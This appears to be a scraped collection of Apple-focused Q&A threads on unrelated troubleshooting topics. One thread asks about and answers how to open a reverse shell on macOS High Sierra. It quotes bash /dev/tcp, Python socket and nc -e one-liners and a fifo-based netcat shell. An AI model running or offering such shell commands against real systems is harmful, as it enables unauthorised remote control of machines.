AirPods volume suddenly too low in Android mobile device The volume of the Airpods (Gen. 2) will become suddenly too low on my Android mobile device (Aquaris U2 with Android version 8.1.0).
It usually works all fine, but it just happens (twice so far) that at some point when I start listening to a podcast the volume will be so low than I can barely hear anything, even if I set the volume at the maximum.
The first time it happened, I managed to fix it somehow, but I do not know how and I am not managing to replicate it now.
Other information that might be useful to find a solution:

Both times, the issue popped-up while listening to a podcast on Spotify. However, once the issue appears, also other apps like Youtube have the volume too low.
For other uses like calls, there is no problem with the volume.
I never had this problem with other Bluetooth headphones.
The AirPods work great on my laptop.

Note that this is a different problem than this question, as it is not about a firmware update.
So far I have tried, without success:

Unpairing and pairing the AirPods again.
Restarting the mobile phone.
Going to Developer Options > Disable Absolute Volume and turning the switch to the On position, as suggested here + restarting.
Turning the volume down and up again, as suggested in the comments of the link provided in point number 3. Also turning it totally down, restarting it and then up again.
Roll back the Bluetooth AVRCP Version (also under Developer Options) from 1.4 to 1.3, also suggested in the same comments as above.

Any ideas of what the problem is and how to fix it?

For future reference, the solution that works for me every time is resetting the AirPods by pressing the button on the back of the AirPods for 15 seconds.
Then I will need to pair them again and it will work fine.
This solution can be found here and here.
Note that this is only a temporary fix. The volume issue will continue to appear randomly and this solution will have to be applied again and again...
If anybody has a solution that fixes the issue forever, please share it.


How to create a pkg installer with a custom action? I have created pkg bundle with pkgbuild & productbuild and I want to get the IP address from the User and that should be passed to postinstall script to write it in a specific file. I don't see any reference to do that. Can any one help me on this.

Ideally you want to avoid custom user interface elements within modern installer packages on macOS.

Where possible, fit your needs into the built-in options provided by the Installer. Alternatively, place the requirements into a supporting tool or first run sequence of any installed application.

Installer Plug-in

If you must use a custom Installer plug-in, the latest Xcode continues to include a template project to get you started. Know that this route will be expensive in terms of development time and effort; additionally it is unlikely to be supported in future versions of the operating system.

Create a new plug-in in Xcode using the menu item:

Xcode.app > File > Project… > macOS / Installer Plug-in

The project includes a template for you to customise. In particular, take a look at the source code of the InstallerPane class. The header file contains comments and insight into how to subclass the class.

Examples and Documentation

The plug-in tutorial by Stéphane Sudre looks like a great resource.

Another good resource is the Installer Developer mailing list archive.

Showing End User Licence Agreements

If you need to show an End User Licence Agreements (EULA) in your installer, use the built-in license entry in the package's distribution definition file.

Where more than one EULA is required, concatenate the licences into one document.


Create video file with multiple audio tracks? I have an animated movie in three different languages. The picture is exactly the same for each langauge, only the audio is different.

I want to merge all these files into one, so that I have a single video file where I can switch easily between the audio tracks in VLC.

Using OS X Yosemite, how can I create such a video file with multiple audio tracks?

Although I doubt it's possible, I'd also be open to doing this on iOS.

Since you are looking at playing it in VLC, I would suggest using MKVToolNix. It's a free, open-source set of tools to allow you to manipulate MKVs.

Let's go through it step-by-step (there is a shorter way but this will get you to learn a bit more about MKVTN):

You're going to want to demux two of the videos with the foreign audio so drag it in to MKVTN's "Source Files" area. You'll see the file get listed and in the "Tracks, chapters, tags and attachments" view you will see the streams in that file. In my example below (forgive the Windows interface, but it's the same) you will see there is an AAC audio stream and an Mpeg-4 Hi10p video stream.

Deselect all tracks so that only the audio track you want to grab is selected.

You'll notice that the filename under "Output file" has changed its extension to .mka. This is because MKVTN knows we are exporting only audio. Choose where you want to save the output file, give it a name, and click "Start muxing".

Repeat this process until you have the video file with one audio and separate .mka files for each of the foreign audio tracks.
Repeat step one, dragging in the original video file containing the first language.
Drag in the separate .mka tracks to the same view. You will be presented with a popup like below.

Since we want to use these files as input files too, we can leave the settings as they are and click "OK".
In the "Tracks" view, you should now see multiple audio tracks for each of the different languages. (At this point I should note that you could have just dragged the video files all in and then just deselected the video tracks but I figured I'd get you to dummy run the program first ;) )

If you're happy with not having any other metadata set for the file then you can go ahead and repeat step 3 (setting the file name etc.) to export an .mkv containing all your audio with the video.

If you'd like to though, you can select each track in the "Tracks" view and specify the language of each and also which one should play by default by editing the attributes in the "Properties" view. This can help you differentiate later on in VLC when you want to switch the languages.

You may also find that if the audio files are different lengths and just stretched in their original containers that the audio may not sync up perfectly. You can adjust that via the "Properties" tab too if you know the offsets. If the source video was the same though, you may find it syncs up fine.

AFAIK, there's no similar tool for iOS, but it's not something I've thought of doing on iOS myself.

Let me know in the comments if there's something you want me to expand on. :)


OSX Terminal no longer save my commands in history Here's my issue. Last week I realized that my OSX (10.11.13) Terminal no longer saves the command I execute in the history file(s).

To be more clear:

I type the command test
On the same terminal window, I press arrow up: it's ok, test is there
If I close the terminal, reopen it and press arrow up: test is no longer there (so it jumps to a command I executed weeks ago).

Here's what printenv returns :

NVM_RC_VERSION=
rvm_bin_path=/Users/my-user/.rvm/bin
TERM_PROGRAM=Apple_Terminal
GEM_HOME=/Users/my-user/.rvm/gems/ruby-2.1.2
SHELL=/bin/bash
TERM=xterm-256color
IRBRC=/Users/my-user/.rvm/rubies/ruby-2.1.2/.irbrc
TMPDIR=/var/folders/4x/y0j5261j7j3142sx_82m6fxm0000gn/T/
Apple_PubSub_Socket_Render=/private/tmp/com.apple.launchd.JLKMtkE4S1/Render
TERM_PROGRAM_VERSION=361.1
MY_RUBY_HOME=/Users/my-user/.rvm/rubies/ruby-2.1.2
TERM_SESSION_ID=B48F774F-86DA-4AA1-BAB7-888DCBA65E5A
NVM_DIR=/Users/my-user/.nvm
USER=my-user
_system_type=Darwin
rvm_path=/Users/my-user/.rvm
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.550eXpVGiK/Listeners
__CF_USER_TEXT_ENCODING=0x1F5:0x0:0x1
rvm_prefix=/Users/my-user
PATH=/opt/local/bin:/opt/local/sbin:/Applications/MAMP/Library/bin:/Applications/MAMP/bin/php/php5.5.3/bin:/Users/my-user/.rvm/gems/ruby-2.1.2/bin:/Users/my-user/.rvm/gems/ruby-2.1.2@global/bin:/Users/my-user/.rvm/rubies/ruby-2.1.2/bin:/Applications/MAMP/bin/php/php5.3.6/bin:/usr/local/mysql/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/Users/my-user/.rvm/bin:/sdk/android/platform-tools:/sdk/android/tools
NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist
PWD=/Users/my-user
LANG=fr_FR.UTF-8
_system_arch=x86_64
XPC_FLAGS=0x0
_system_version=10.11
XPC_SERVICE_NAME=0
rvm_version=1.25.15 (stable)
SHLVL=1
HOME=/Users/my-user
LOGNAME=my-user
GEM_PATH=/Users/my-user/.rvm/gems/ruby-2.1.2:/Users/my-user/.rvm/gems/ruby-2.1.2@global
NVM_IOJS_ORG_MIRROR=https://iojs.org/dist
_system_name=OSX
_=/usr/bin/printenv

Any help?

Based on this question and answer the following should work:

Disable ~/.profile and ~/.bash:profile by renaming it:

mv ~/.bash_profile ~/off.bash_profile
mv ~/.profile ~/off.profile

Create a new file ~/.bash_logout with the content shell_session_update

echo "shell_session_update" > ~/.bash_logout

Enter killall Terminal
Open Terminal and enable ~/.profile and ~/.bash_profile by renaming it:

mv ~/off.bash_profile ~/.bash_profile
mv ~/off.profile ~/.profile

Enter killall Terminal
Open Terminal and check the behavior now. Remember to always enter exit now before closing a Terminal window or quitting Terminal.


How to use Regex with spotlight Possible Duplicate:
  How Can I Search A Specific Type of File in Mac?

How could I use spotlight to search for example for files that end with jar or files that end with doc and at the same time contains "Hello" in it's name?

I’m assuming by “end with” you mean that files have the extension .jar or .doc. And given all those filenames, you want those who have “hello” in their filnames.

With that in mind, you’re looking for something like this:

(.jar AND “hello") OR (.doc AND “hello”)

Additionally, you could extend the number of “words” by adding:

(.jar AND “hello” OR “some_other_word") OR (.doc AND “hello”)

For more ninja commands for Spotlight, your best bet is to read throughout this interesting doc from Apple, that’s the Spotlight’s Query Language documentation with lots of examples.

Finally, if you want to know what attributes are available for you to query directly, refer to this blog post.


Apple MacBook Pro 2013 with 512Gb SSD cannot install OS X I had an issue running an App and the vendor suggested I should revert to the earlier OS X 10.10.3.

I located on Time Machine the backup version I needed, waited for the format and restore. I then needed to repeat the process of restoring from Time Machine, but now the MacBook is in a stupid state.

The system starts with OS X Utilities. Restore from Time Machine backup gets me to the point where it wants to know the destination drive, but my SSD doesn't show up.

Same thing if I choose Reinstall OS X.

If I select Disk Utility, I can see the SSD as "Macintosh HD" and I can see "First Aid" and "Partition" but no "Erase". If I select "Verify Disk" or "Repair Disk", the log shows that everything is working fine....it is 499.42Gb in size. The OS X Base System volume is also there....

So without seeing "Macintosh HD", I cannot recover from Time Machine or Reinstall OS X.

I am stuck, any ideas folks?

Follow-up:

Thanks for your kind reply.  To explain again:

I restored a Time Machine version of OS X 10.10.3, then I did some work and then decided to recover the same version of Time Machine backup a 2nd time.
The second restore of OS X 10.10.3 failed.
Using Disk Utility, I can see the "Macintosh HD" volume, but only the tags "First Aid" and "Partition" are shown.

I followed your procedure described above to create a USB boot system.  The following happened:

A 4Gb USB stick was declared by the system as being too small.
I eventually found a 16Gb USB stick and the download proceeded, but when the system was in "Setting up...." mode, I got a warning that the memory was too small and that memory was nearly full.  A short while later I got a "Memory Full" error!!! and nothing further other than the spinning wheel and a waste of time.
Next day I went to the store and bought a 64Gb USB stick.  When I started the system copy process, the Internet was having issues it I received a notice that the process would take around 738hrs!!!!
Eventually I got to a 2hrs15min download and the process completed, except the notice that my system would restart in 10secs never happened....I clicked the "Restart" soft key and off we went.  10hrs later I was still seeing the "Setting up...." message and the occasional flicker of the USB LED.
I then found a bootable OS X 10.8.2 and restarted my Macbook Pro.
Using the Disk Utility, I can see the "Macintosh HD", but again only the "First Aid" and "Partition" tabs are shown.
This time when I do a "Repair Disk" I get the messages:
"disk0s2 has CoreStorage features not supported by this fsck_cs version"
"Problems were encountered during repair of the partition map"
"Error: This disk needs to be repaired. Click Repair Disk."
Clicking "Repair Disk" just brings me to the same messages.

If I could just "Erase" my "Macintosh HD" volume, I would be good to go.....frustrating!

Usually you shouldn't be urged to restore the backup twice. Probably something went wrong in the first and/or the second run.

To quickly resolve your problem boot to Internet Recovery Mode or an external drive/thumb drive containing a Recovery HD or full OS X, erase/reformat your internal drive and restore the 10.10.3 backup. If you boot to IRM or a second drive you may manipulate the internal disk without any restrictions.

Just erasing a volume is not recommended because it might not recover any faulty or wrong partition table. So better repartition the drive.

Boot to Internet Recovery Mode by pressing altcmdR. The prerequisites for an Internet Recovery are listed here: Recovery/Internet Recovery.
In a few words you need the latest firmware update installed, either ethernet or WLAN (WPA/WPA2) and a router with DHCP activated for a successful internet recovery.
On a 50 Mbps-line it takes about 4 min (presenting a small animated globe) to boot into the Recovery Netboot image which is loaded from an Apple server.

(Alternatively you may boot to an external drive containing a Recovery HD or a full OS X system or an OS X thumb drive.)
open Terminal and enter:

    diskutil cs list

copy the UUID of the Logical Volume Group (it's the first one listed) and enter:

    diskutil cs delete UUID

The content of the main volume will be lost doing that. A backup is required.
Quit Terminal and open "Disk Utility" and partition your internal disk: GUID partition scheme (use the "Options..." button at the bottom of the main pane for this), one partition, journaled HFS+.
Close "Disk Utility".
Attach your Time Machine backup drive.
Open "Restore from Time Machine Backup" and restore your main drive if you have booted from a Recovery drive.
If you've booted from a full OS X external drive just open Time Machine and restore your internal drive.


Pages: Linked columns In Pages, I want to write a document that has two columns: One for the main text, and the other for annotations.

For example: Say I write a paragraph in the main text talking about the many varieties of poodles, and which of them have ever turned vigilante, worn Luchador masks, and roamed the country in a '67 Chevy dispensing justice. Then of course I'd need to have a summary in the side column referring the reader to the primary sources in the literature.

First issue, is that pages doesn't keep the two columns separate: Once you've filled a page's leftmore column, it scrolls into the right. I want it to scroll to the next page.

Issue two is that even if I manually force the text to line up, using carriage returns to get annotations to line up with primary text, any little change could screw up the formatting of every following page. I want it to be such that I can write an annotation in the right column, and pin it to an invisible anchor in the left column, so it will try to follow that text.

How would you accomplish this?

Pages is not at all set up to do what you ask. The layout in iBooks author is superior to Pages, but you can't easily share that work across platforms and until the next versions of Apple OS ship (presumably in the fall of 2013) - iBooks author lets you design on Mac only and read on iPad only.

The text in multiple columns flows from the bottom of one column and up into the next. Additions and deletions will not align well unless you use a table structure to hold paragraphs and enforce the right-left constraint so that one comment isn't higher or lower vertically than the text for which it corresponds.

Hopefully tables works for you, as your other option in Pages is to use the comments or track changes feature to anchor some amount of text to another specific portion of text. These items do print nicely, and you might find you can use the whole width of your page and let the software reduce things to fit as needed.


Why does my keyboard switch language in most input fields on the web? I'm basically using US keyboard as my default, but I also have enabled Czech (QWERTY), which has quite different layout for when I need those special characters.

The problem is, that in the past few days whenever I put focus in a password field in Google Chrome, it automatically switches from the US to Czech and I can't switch back, as it is grayed out.

But once I click out of the password field, I can change it back without any problems. What could possibly cause this? I'm using OS X 10.6.6 on Macbook Pro if that's of any relevance.

I've had weird input-switching behavior before when the keyboard shortcut to switch input sources was the same as something else I was using, like Quicksilver.  Try disabling or changing the relevant shortcuts in System Preferences (under Keyboard & Text Input).

UPDATE: Detailed instructions:

Open System Preferences
Open the Keyboard preference (under Hardware)
Select Keyboard and Text on the left
Find "Select the previous input source" in the box on the right and uncheck it.  Its shortcut was probably set to Command-Space.


Does anyone know why my bootcamp partition shows up as a folder in Startup Disk? So recently I updated my computer to MacOS High Sierra. When I tried to boot up my Windows disk (running Windows 10) using Startup Manager, it wasn't there. I looked in my files, and I still had it. "Ok, so it's a pretty common problem. Easy fix, right?" Then I looked in Startup Disk and saw something REALLY weird. This apparently is not normally the case, but here's what it looked like.

The fact that Bootcamp showed up as a folder did kind of confuse me, and I haven't been able to find any information about it.

When I boot up into Windows, I see a "No bootable device found" error message.

I think Bootcamp showing up as a folder is normal...  Here's a screen grab from my system


Is there a way to ask the Airport Extreme what it's external IP is via terminal? Finally realized that my ISP was carriage natting me, and my router's ip is really on the ISPs network and not externally facing. =(

My ISP Is doing something that is thwarting my ability to get my Airpot Extremes IPv4 addresss. When I look at it via the airport utility, I clearly can the right address. However when I use something like checkip.dyndns.org, icanhazip.com, http://www.whatsmyip.org, it gives me the wrong IPv4. Would like to use dyndns, and so far just entering in the ip manually.

Is there a way to just ask the Airport Extreme what it's external IP is via the terminal?

So I am sure this question has been asked a lot, but I believe this is a slightly different question from the one below.

How to obtain the external IPv4 address via Terminal

SO Googling what's my ip, or any of those similar solutions is not going to work because my ISP is double batting me or something.

My airport is plugged directly into the ISP.

Here is a trace route to cnn

traceroute to cnn.com (157.166.226.25), 64 hops max, 52 byte packets
 1  10.0.1.1 (10.0.1.1)  1.947 ms  0.644 ms  1.224 ms
 2  10.0.27.33 (10.0.27.33)  3.719 ms  2.479 ms  2.487 ms
 3  10.0.55.1 (10.0.55.1)  3.990 ms  2.365 ms  3.992 ms
 4  10.0.32.54 (10.0.32.54)  3.732 ms
    10.0.32.50 (10.0.32.50)  3.752 ms
    10.0.32.54 (10.0.32.54)  2.470 ms
 5  10.0.7.173 (10.0.7.173)  15.431 ms
    25.66.208.web-pass.com (208.66.25.57)  1.995 ms
    10.0.7.173 (10.0.7.173)  3.590 ms
 6  x.196.247.173.web-pass.com (173.247.196.101)  3.647 ms  3.496 ms  2.737 ms
 7  x.196.247.173.web-pass.com (173.247.196.105)  3.984 ms  3.818 ms  3.727 ms
 8  v505.core1.sfo1.he.net (216.218.229.113)  14.486 ms  3.665 ms  3.969 ms
 9  10ge11-2.core1.sjc2.he.net (184.105.213.161)  5.239 ms  11.364 ms  5.228 ms
10  10ge3-2.core3.fmt2.he.net (184.105.222.13)  5.265 ms  4.872 ms  15.784 ms
11  10ge3-1.core1.dal1.he.net (72.52.92.154)  62.946 ms  74.556 ms  53.661 ms
12  10ge5-4.core1.atl1.he.net (184.105.213.114)  65.513 ms  65.322 ms  65.630 ms

Is your Airport the 'last hop' before the ISP? Straight into the modem, no other router between you & them?

If so, then asking Google 'what's my IP address?' will show it.

That address is the 'border' between you & the outside world & in fact it kind of is partly at your Airport & partly at the next hop, your ISP, insomuch as it's your last reference point, & their first.
You'd need a hardware engineer to clarify that last point - the details are beyond me, I'm afraid.


MacBook Pro mid 2009 reports "Service Battery" but works ok I get a message saying "Service Battery", but it continues working ok. How do I service the battery?

The message that you are getting is because your battery is beginning to fail.  I can't tell you exactly when, but more than likely, when you need it most, it will no longer hold a charge.

It's actually quite easy to service the battery.  There are 10 phillips screws on the bottom.  Just remove those (pay attention to where they came out), then you will have access to the battery, memory, and hard drive.

I answered a very similar question on a 2009 MBP battery replacment.

Have a look What's the easiest/cheapest way to replace my battery? 2009 MBP for further details.


Spinning Pinwheel of death on iPhone? I am a developer working on an in house application.  I have gotten several complaints about getting the Spinning pinwheel in the iOS application I maintain.  Can anyone tell me if this is actually something that can happen on iOS (not OS X.  I know this is common on the desktop OS when an application becomes unresponsive to input.) I have done a great deal of searching on Google and am coming up empty handed.  I'm beginning to wonder about the accuracy of this bug report.

I don't believe that there is any spinning pinwheels in iOS. What your users are likely reporting is a UIActivityView spinning round and round and don't understand the difference between the two (you know how some users are...).


Will iPhone 4 turn on automatically when charging? If my iPhone 4 dies, will it turn back on automatically after I put it on charge?

The reason I ask this is my lock button is broken and I'm afraid to let my phone die. What should I do?

Yes, it will turn on once it reaches the minimum charge needed to start the phone.

When the battery is completely drained, you would just see a depleted battery icon (with a connect to charger prompt) for a few seconds if you press the Sleep/Wake button or the Home button. Once you connect it to the charger, it will charge for a few minutes and automatically start up, taking you to the lock screen.

At any time, you can wake your phone by pressing either the Sleep/Wake button (on top) or the Home button (below the touchscreen).


I need help with administrator password for macbook pro 2010 laptop I bought a macbook pro from e-bay and the man that sold it told me he cleaned the computer and gave me the administrator password that wouldn’t work that I asked him for.I don’t know how to get into the computer and it was working great until I shut it down and tried starting it.When I started it up it asked for the admin.password and I put in the password that the man who sold it to me had and didn’t work.I would like to know if someone can help me. Thank you.

Call the fellow you bought it from and ask him for the password again.

If it is a recent machine you could boot into "recovery mode" and reset the password, otherwise rebooting in single-user-mode could allow you to reset the password from the command line. Some good options are listed here:

http://tidbits.com/article/14437


iMac 27 Fusion Drive restore from SSD How can I restore an image (dmg) of my MacBook's 512 GB SSD (APFS encrypted) onto a 1 TB Fusion Drive using Disk Utility?

I am a bit confused with the Fusion Drive. Can I make it pure HDD and just do an old-school Disk Utility restore?

Currently after messing a bit with it I am facing "problems were found with the partition map which might prevent booting" when running first aid on HDD.

The state of the iMacs disks is like that:

UPDATE:

get to the point where I have OS X installed back and following setup:

Currently you can't restore an APFS container to a "fusioned" Fusion Drive.

A Fusion Drive consists at least of two physical devices - one of them should be an SSD or you wouldn't benefit from its speed. The other one is an HDD to benefit from the price-to-size ratio.

A "fusioned" Fusion Drive combines one partition of the SSD drive and one partition of the HDD with the help of a logical volume manger (CoreStorage) to a contiguous logical volume group which can be divided into several logical volumes. Usually it's only one though.

Example:

3.1 TB Fusion Drive:

/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *121.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:          Apple_CoreStorage                         121.0 GB   disk0s2
   3:                 Apple_Boot Boot OS X               134.2 MB   disk0s3
/dev/disk1
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *3.0 TB     disk1
   1:                        EFI EFI                     209.7 MB   disk1s1
   2:          Apple_CoreStorage                         3.0 TB     disk1s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk1s3

Disk0 is an SSD, disk1 is an HDD. Each disk contains three partitions: diskXs1, diskXs2 and diskXs3. By default diskXs1 is an ~200 MB or ~300 MB EFI partition (depends on the block size). DiskXs3 is an Apple_Boot partition with various sizes. Usually the 3rd partition of the HDD is the recovery partition  with 650 MB though.

Both diskXs2s are managed by the logical volume manager:

+-- Logical Volume Group A783F70E-04C1-49C1-80F8-D6E9B43DDC71
    =========================================================
    Name:         Macintosh HD
    Status:       Online
    Size:         3120722075648 B (3.1 TB)
    Free Space:   114688 B (114.7 KB)
    |
    +-< Physical Volume 00F83435-0AD3-4E21-B884-6B26D1664028
    |   ----------------------------------------------------
    |   Index:    0
    |   Disk:     disk0s2
    |   Status:   Online
    |   Size:     120988852224 B (121.0 GB)
    |
    +-< Physical Volume CE0BE70D-9502-4C6E-A0F9-994F887A7BC1
    |   ----------------------------------------------------
    |   Index:    1
    |   Disk:     disk1s2
    |   Status:   Online
    |   Size:     2999733223424 B (3.0 TB)
    |
    +-> Logical Volume Family 63FFE3F6-E787-48A6-923A-2A62CDBB948C
        ----------------------------------------------------------
        Encryption Status:       Unlocked
        Encryption Type:         None
        Conversion Status:       NoConversion
        Conversion Direction:    -none-
        Has Encrypted Extents:   No
        Fully Secure:            No
        Passphrase Required:     No
        |
        +-> Logical Volume 9A7B21AA-F9FE-4E65-8C7E-ED2A73744C15
            ---------------------------------------------------
            Disk:                  disk2
            Status:                Online
            Size (Total):          3106191572992 B (3.1 TB)
            Conversion Progress:   -none-
            Revertible:            No
            LV Name:               Macintosh HD
            Volume Name:           Macintosh HD
            Content Hint:          Apple_HFS

Disk0s2 and disk1s2 are united to one large (logical) volume disk2 with the name Macintosh HD and HFS+ formatted.

A pretty undocumented algorithm/process allocates system files, app files and user files often accessed to the SSD part of the logical volume to increase read/write speed.

Your Fusion Drive is "defusioned". It neither contains a Logical Volume Group nor Logical Volumes. Finally they are two simple disks only. Their contents (i.e. partitions) are a mess. One is a giant OS X Base System (which usually is the label of a disk image containing a recovery system with a size of ~1.2-2.0 GB). The SSD contains a defunct APFS partition.

APFS currently doesn't support the combination of two partitions into one superior container/volume properly. Creating an APFS Fusion Drive isn't possible yet.

Though possible APFS on HDDs isn't really recommended.

If you insist on restoring the MB SSD to the HDD I recommend the following:

Format the HDD and install macOS High Sierra
Open Migration Assistant and try to migrate the content of the SSD disk image to the HDD

If you want to restore the image one-to-one use the following steps which depend on how you created the image.

You can either image the container or your mounted main macOS boot volume.

 [

If you have imaged the main macOS boot volume only, most APFS volumes (i.e. Preboot, Recovery and VM) won't be added to the image file and they will be missing in the destination container. A restore will finish successfully; the APFS system volume will probably be bootable. To get full functionality you have to reinstall macOS High Sierra.

If you have imaged the whole container, all APFS volumes (including Preboot, Recovery and VM) will be restored.

If your source volume was encrypted and you didn't image the whole container, I doubt that you will successfully restore the image and boot to the result - it's worth a try though. I haven't tested this variant.

In either case you have to "Scan to Restore" the image which requires free space of a similar size as the original image on the same volume!

This can be done in the GUI (Disk Utility) with "Images -> Scan Image for Restore..."

To restore the image, partition the destination drive (your HDD - your SSD is much too small to host the content of the 512 GB SSD) to one APFS container with Disk Utility.

Get the partition details: diskutil list.

Then open Terminal and restore the image (assuming the destination partition is disk0s2):

sudo asr restore -s /path/to/image.dmg -t /dev/disk0s2 --erase

Reboot to the restored main macOS volume.

As mentioned previously reinstall the latest macOS High Sierra version if you didn't image the whole container in the first place.


How can I programmatically get the Terminal scrollback text? I ran across this comment which stated that it is possible to access the text in the macOS Terminal scrollback:

Finding text in scrollback is a weakness of most terminal emulators; the only ones I know of that provide it are OS X Terminal and Terminator.

I've done some searching, but I have not had any luck finding anything online saying how this can be done.
The reason I ask is that I'm looking for possible solutions to this Stack Overflow question, and am investigating whether there is a way to get text from the most recently run command in the macOS Terminal.
For this specific use case, I'm hoping to find the line(s) that match a particular pattern, so I can extract the matching text and pass it to the open command.
There were failing tests. See the report at: file:///path/to/parent-project/child-project-1/build/reports/tests/test/index.html

↓
open file:///path/to/parent-project/child-project-1/build/reports/tests/test/index.html

In short, how can I get the text of the Terminal scrollback?  Bonus points if it's limited to just the ouptut of the last command, but I can make a workable solution to my problem if I can get the entire Terminal scrollback text.

Assuming there is only one instance of the file:///.../index.html URL in the contents of the entire scrolling buffer of the tab, then the following example AppleScript code can do that:
tell application "Terminal" to ¬
    set tabHistory to ¬
        history of tab of ¬
        front window as text

set fileURL to ¬
    do shell script ¬
        "grep -o 'file:///.*\\.html' <<< " & ¬
        tabHistory's quoted form & "; exit 0"

if fileURL is not "" then ¬
    do shell script ¬
        "open " & fileURL's quoted form

Notes:
The example AppleScript code above acts on the selected tab of the front window in Terminal.
If there is a file:///.../index.html URL in the contents of the entire scrolling buffer it will be opened by the open command.
If there is more than one instance of the file:///.../index.html URL in the contents of the entire scrolling buffer of the tab, then make the following change in the example AppleScript code above to open the last instance of the file:///.../index.html URL:
Change:
set fileURL to ¬
    do shell script ¬
        "grep -o 'file:///.*\\.html' <<< " & ¬
        tabHistory's quoted form & "; exit 0"

To:
set fileURL to ¬
    last paragraph of ¬
    (do shell script ¬
        "grep -o 'file:///.*\\.html' <<< " & ¬
        tabHistory's quoted form & "; exit 0")

If you want to use Safari to open the URL and have it frontmost, then:
Change:
if fileURL is not "" then ¬
    do shell script ¬
        "open " & fileURL's quoted form

To:
if fileURL is not "" then ¬
    tell application "Safari"
        make new document with properties {URL:fileURL}
        activate
    end tell

The example AppleScript code can be saved as a shell script with a #!/usr/bin/osascript shebang, made executable and run from Terminal.

Note: The example AppleScript code is just that and sans any included error handling does not contain any additional error handling as may be appropriate. The onus is upon the user to add any error handling as may be appropriate, needed or wanted. Have a look at the try statement and error statement in the AppleScript Language Guide. See also, Working with Errors. Additionally, the use of the delay command may be necessary between events where appropriate, e.g. delay 0.5, with the value of the delay set appropriately.


Create reverse shell using High Sierra? I'm trying to create a reverse shell listener using High Sierra but nothing seems to work.

The bash command kinda just hangs in the terminal and times out.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

The python command errors with "Connection refused" when using python or python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

the netcat command errors with "nc: invalid option -e"

nc -e /bin/bash 0.0.0.0 8080

I've tried other solutions I've found online but you get the idea...

Is it possible to create a reverse shell (preferably with access to bash) using High Sierra?

specifications:

sh-3.2# system_profiler SPSoftwareDataType
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

If I understand correctly, you want to connect to your High Sierra machine from an external source via something like netcat (nc), send commands to bash, and view the response.

There are more secure and simpler ways to do this using ssh, but presuming this is some kind of experiment or development trick, here's how you can do what you're asking.

My answer is based on an answer I found elsewhere on SE (https://superuser.com/a/607855), which itself is based on other SO/SE answers.

First make a fifo:

mkfifo myfifo

Then start 'nc' using the fifo as its input, piping its output to bash, and redirecting bash's output to the fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(The '-i' flag for bash indicates an interactive shell, and may not be desirable for this use case.)

From the remote device (in my testing, myself):

nc 127.0.0.1 8080

If you want to reverse the roles, i.e. the High Sierra machine is establishing the connection to the remote device, and giving the remote device access to bash on the HS host, you would move the listen flag (-l). So, the remote device would start netcat first in listen mode:

nc -l 127.0.0.1 8080

Then the High Sierra host would connect to the remote device:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1


Prevent iTunes from importing sound files when they are played When I download a sound file and double-click to play it, iTunes opens it (which is fine) but also copies it to the iTunes library. I don't want to copy the file; I just want iTunes to play it.

How do I prevent iTunes from copying it? Checked the settings, but there is nothing in "General" or "Advanced" that would seem to prevent this behavior.

Yes, I know I can set the default audio program to QuickTime.

To permanently change iTunes behaviour, you'd need to switch off
Keep iTunes Media folder organised - though it will soon disorganise itself if you also uncheck...
Copy files to iTunes Media folder when adding to Library

Unless you want to permanently change the behaviour of how iTunes keeps itself organised [or temporarily, with the added challenge of remembering in what state you last left it], I would recommend not using iTunes for 'casual' playback, but use Quick Look instead.

iTunes will never know or care you played them, won't add them to its content.

Just drop all the files into a single flat folder [or any hierarchy you like], select the first one, hit the Space bar.
That one file will play as a one-shot.
Use the arrow keys to switch the currently-selected file, that will play. [if you have a nested hierarchy, all 4 arrow keys come into play to navigate around, column view is easiest]
Replay is either drag the play position marker back to the beginning, or quickly arrow up/down to select another file & back - easy to do before it starts to play the other file.

When you're done, Space bar again will kill the Quick Look window.

Works with anything iTunes can play, aif, wav, mp3, aac etc

Downside is you can't touch any other file or folder whilst it's playing - but you can use other apps & switch between, so long as you don't touch the Finder itself.


iPhone plays particular album staticky through a particular system I have one album on my iPhone — A Perfect Circle, Mer De Noms — that sounds horrible when I play it through a particular system, my Harman/Kardon HK 3480 via AudioQuest Beetle (Bluetooth). It sounds great on other systems, even turned up quite loud. I don't have problems with any other albums or songs. It's the same for every song on the album.

Even when volume is lowish/medium, it sounds staticky as HELL on louder parts of the songs, and maybe sounds a bit like the signal is getting clipped, not sure.

I have already reimported the album at a higher bit rate (320kbps VBR), to no avail. I then also renamed the old imports, and imported it freshly, to avoid using the old track settings.

I retain the same compression on my iPhone as desktop. The EQ and playback level of each song is set to the default.

My iPhone has iOS 12.0.1 installed (the latest), but it had this problem with previous versions.

How can I get this album playing correctly again?

UPDATE: I actually remimported again with MP3 compression, I renamed everything before the import, and got the same result again. I'm pretty sure this has to do with the source album.

I solved this two different ways. One was just to purchase and download the album from the iTunes store. The other was to reduce the playback volume for the album in the song/album settings in iTunes. I think the album was recored a bit loud, even though I never noticed before; and either the iPhone or the Beetle couldn't handle the volume level.


Dual-monitor – dialog boxes appear on "wrong" screen At home I work regularly between two monitors – I have a Dell monitor connected to my MacBook Pro. It's not something I've done a whole lot until recently so I was trying to find a solution to the problem that when I'm working in an application on the connected monitor, how can I always have the dialog boxes for that application open on that monitor, and vice versa? It's pretty annoying and definitely slows down work a bit, especially if an application open on the other monitor is in full screen.

